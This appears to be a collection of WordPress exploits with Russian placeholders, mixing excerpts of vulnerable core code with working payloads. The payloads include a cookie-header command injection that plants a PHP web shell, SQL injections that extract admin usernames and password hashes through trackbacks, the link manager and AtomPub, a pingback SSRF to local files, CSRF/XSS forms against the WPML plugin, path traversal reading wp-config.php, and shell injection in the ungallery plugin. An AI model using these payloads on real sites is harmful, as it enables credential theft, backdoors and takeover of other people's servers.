exec(escapeshellcmd($this->curl_path." -D \"$headerfile\"".$cmdline_params." \"".$safer_URI."\""),$results,$return);

exec($this->curl_path." -k -D \"$headerfile\"".$cmdline_params." \"".escapeshellcmd($URI)."\"",$results,$return);

<?php
header('set-cookie: `echo \'<?php system($_GET[aa]); ?>\' > ../wp-content/test.php`=cooka');
header("Location: https://chto-ugodno.com/?feed=rss2");
?>

if(!$this->curl_path)
	return false;
if(function_exists("is_executable"))
if (!is_executable($this->curl_path))
return false;

<?php
header("Location: https://lal`my evil command`.com");
?>

 function add_ping($post_id, $uri) { // Add a URL to those already pung 
    global $wpdb; 
    $pung = $wpdb->get_var("SELECT pinged FROM $wpdb->posts WHERE ID = $post_id"); 
    $pung = trim($pung); 
    $pung = preg_split('/\s/', $pung); 
    $pung[] = $uri; 
    $new = implode("\n", $pung); 
    $new = apply_filters('add_ping', $new); 
    return $wpdb->query("UPDATE $wpdb->posts SET pinged = '$new' WHERE ID = $post_id"); 
}

<a href="http://ВТОРОЙ_БЛОГ/?p=[НОМЕР_ПОСТА]">pingme</a>

test',post_title=(select/**/concat(user_login,':',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered='blah

<a href="http://lamer/wp1/?p=2">pingme</a>

 function do_trackbacks($post_id) { 
... 
    $to_ping = get_to_ping($post_id); 
... 
    if ( $to_ping ) { 
        foreach ( (array) $to_ping as $tb_ping ) { 
            $tb_ping = trim($tb_ping); 
            if ( !in_array($tb_ping, $pinged) ) { 
                trackback($tb_ping, $post_title, $excerpt, $post_id); 
                $pinged[] = $tb_ping; 
            } else { 
                $wpdb->query("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, '$tb_ping', '')) WHERE ID = '$post_id'"); 
            } 
        } 
    } 
}

test','')),post_title=(select/**/concat(user_login,':',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'blah

get_bookmarks( "category=$cat_id&hide_invisible=0&orderby=$sqlorderby&hide_empty=0" );

function get_bookmarks($args = '') {
...

	$r = wp_parse_args( $args, $defaults );
	extract( $r, EXTR_SKIP );
...
	if ( ! empty($category_name) ) {
		if ( $category = get_term_by('name', $category_name, 'link_category') )
			$category = $category->term_id;
	}
...

function wp_parse_args( $args, $defaults = '' ) {
	if ( is_object($args) )
		$r = get_object_vars($args);
	else if ( is_array( $args ) )
		$r =& $args;
	else
		wp_parse_str( $args, $r );

	if ( is_array( $defaults ) )
		return array_merge( $defaults, $r );
	else
		return $r;
}
function wp_parse_str( $string, &$array ) {
	parse_str( $string, $array );
	if ( get_magic_quotes_gpc() )
		$array = stripslashes_deep( $array );
	$array = apply_filters( 'wp_parse_str', $array );
}

function get_term_by($field, $value, $taxonomy, $output = OBJECT, $filter = 'raw') {
...
	} else if ( 'name' == $field ) {
		// Assume already escaped
		$field = 't.name';
...
	$term = $wpdb->get_row("SELECT t.*, tt.* FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy = '$taxonomy' AND $field = '$value' LIMIT 1");

http://lamer.com/wp233/wp-admin/link-manager.php?cat_id=all%26category_name=0%2527+union+select+1,2,3,4,5,6,7,8,9,10+from+wp_users+where+1=1/*&order_by=order_url&action=Update+%C2%BB

$commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type', 'comment_parent', 'user_ID');
$comment_id = wp_new_comment( $commentdata );

function wp_new_comment( $commentdata ) 
{
...
	$comment_ID = wp_insert_comment($commentdata);
...
}

function wp_insert_comment($commentdata) 
{
...
	if ( $comment_approved == 1)
		wp_update_comment_count($comment_post_ID);

	return $id;
}
function wp_update_comment_count($post_id, $do_deferred=false) 
{
...
	elseif ( $post_id ) {
		return wp_update_comment_count_now($post_id);
	}
}
function wp_update_comment_count_now($post_id) 
{
...
	do_action('edit_post', $post_id, $post);
	return true;
}

add_action('edit_post', 'wp_check_for_changed_slugs');

function wp_check_for_changed_slugs($post_id) {
	if ( !isset($_POST['wp-old-slug']) || !strlen($_POST['wp-old-slug']) )
...
	// if we haven't added this old slug before, add it now
	if ( !count($old_slugs) || !in_array($_POST['wp-old-slug'], $old_slugs) )
		add_post_meta($post_id, '_wp_old_slug', $_POST['wp-old-slug']);
...
}

function wp_old_slug_redirect () 
{
...
		$query = "SELECT post_id FROM $wpdb->postmeta, $wpdb->posts WHERE ID = post_id AND meta_key = '_wp_old_slug' AND meta_value='" . $wp_query->query_vars['name'] . "'";
...
		wp_redirect($link, '301'); // Permanent redirect
		exit;
	endif;
}

<html>
<form action="http://lamer.com/wp/wp-trackback.php?p=[ID_ПОСТА]" method="post">
Тайтл: <input name="title" value="commenter"/><br/>
URL:<input name="url" value="http://%/la.com"/><br/>
Comment:<input name="excerpt" value=""/><br/>
Slug:<input name="wp-old-slug" value=""/><br/>
<input name="blog_name" value="Blog" /><br/>
<input type="submit" value="ok"/>
</form>
</html>

function xml_escape($string)
{
	 return str_replace(array('&','"',"'",'<','>'), 
		array('&','"',''','<','>'), 
		$string );
}

<?php
$site='lamer.com';
$path='/wp223/wp-app.php?action=/post/1'; //тут айди поста
$user='editor'; //логин на блоге
$passwd='editor'; //пароль на блоге 

$auth=base64_encode($user.":".$passwd);
$fp = fsockopen($site, 80, $errno, $errstr, 30);	
$data='<feed>
    <entry>
        <id>http://lamer.com/wp223/2009/03/01/hello-world/</id>
        <title type="html">test\</title>
        <summary type="html">,post_name=(select concat(user_login,0x3a,user_pass) from wp_users where ID=1) where id=1/*</summary>       
    </entry>
</feed>';

$out = "PUT $path HTTP/1.1\r\n";
$out .= "Host: $site\r\n";
$out .= "Content-Type: application/atom+xml\r\n";
$out .= "Connection: Close\r\n";
$out .= "User-Agent: Opera\r\n";
$out .= "Authorization: Basic $auth\r\n";
$out .= "Content-Length: ".strlen($data)."\r\n\r\n";  
fwrite($fp, $out.$data);
fclose($fp);
?>

class WP_Http_Curl {
	function request($url, $args = array()) {
		if ( !ini_get('safe_mode') && !ini_get('open_basedir') )
			curl_setopt( $handle, CURLOPT_FOLLOWLOCATION, true );

function wp_remote_get($url, $args = array()) {
	$objFetchSite = _wp_http_get_object();

	return $objFetchSite->get($url, $args);
}

function wp_remote_fopen( $uri ) {
...
	$response = wp_remote_get( $uri, $options );
...
}

function pingback_ping($args) {
...
		$pagelinkedfrom = $args[0];
		$pagelinkedto   = $args[1];
...
		// Let's check the remote site
		$linea = wp_remote_fopen( $pagelinkedfrom );
...

<?php
header("<title>Exploit</title><a href="http://lamer.com/ping2/?p=1#lamer.com/blog">Curl</a>");
header("Location: file:///c:\boot.ini", 302);
?>

<a href="http://lamer.com/ping1/?p=2">Ping2</a>

// Check if the page linked to is in our site
$pos1 = strpos($pagelinkedto, str_replace(array('http://www.','http://','https://www.','https://'), '', get_option('home')));
if( !$pos1 )
	return new IXR_Error(0, __('Is there no link to us?'));

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://lamer.com/ping1/?p=2</string></value></param>
<param><value><string>http://lamer.com/ping2/?p=[ИД_СУЩЕСТВУЮЩЕГО_ПОСТА_НА_БЛОГЕ]#lamer.com/blog</string></value></param>
</params>
</methodCall>

<div style="display:none;">
<form action='http://wordpress/wp-content/plugins/sitepress-multilingual-cms/ajax.php?icl_ajx_action=set_default_language' method='post' target="ifr" name="xfrm">
<input name="lang" type="text" value="<script>alert(document.cookie)</script>" />
<input type='submit'>
</form>
<iframe src="" name="ifr" width="1" height="1"></iframe>
<script>
	document.xfrm.submit();
	document.xfrm.lang.value="en";
	setTimeout('document.xfrm.submit()', 1000);
</script>
</div>

http://wordpress/wp-content/plugins/sitepress-multilingual-cms/inc/php-version-check.php?icl_phpinfo=1

="><script>alert(document.cookie)</script>
http://wordpress/wp-content/plugins/sitepress-multilingual-cms/modules/absolute-links/management-page.php?total_posts_pages="><script>alert(document.cookie)</script>

$ curl http://wordpress/wp-content/plugins/ungallery/source.php?pic=../../../wp-config.php

http://wordpress/wp-content/plugins/ungallery/zip.php?zip=non_existing_dir+non_existing_file;ls;pwd;